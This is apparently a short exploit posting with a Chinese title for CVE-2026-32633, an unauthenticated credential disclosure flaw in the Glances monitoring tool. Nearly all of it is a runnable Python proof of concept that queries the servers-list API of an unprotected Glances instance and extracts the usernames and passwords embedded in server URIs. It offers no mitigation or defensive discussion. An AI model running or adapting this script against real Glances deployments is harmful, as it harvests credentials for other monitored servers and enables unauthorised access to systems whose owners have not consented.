CVE-2026-32633 Glances监控工具未认证凭证泄露漏洞

import requests import json # CVE-2026-32633 PoC - Unauthenticated credential disclosure # Target: Glances instance running in Browser mode without --password target_url = "http://<target_ip>:61208/api/4/serverslist" def exploit(): # No authentication required - this is the vulnerability response = requests.get(target_url) if response.status_code == 200: servers = response.json() print("[+] Successfully retrieved server list") print("[+] Extracted credentials:") credentials = [] for server in servers: if 'uri' in server: uri = server['uri'] print(f"[*] URI: {uri}") # Extract credentials from URI if '@' in uri: auth_part = uri.split('@')[0].split('://')[1] credentials.append(auth_part) return credentials else: print(f"[-] Request failed with status: {response.status_code}") return [] if __name__ == "__main__": creds = exploit() print(f"\n[+] Found {len(creds)} credential pairs")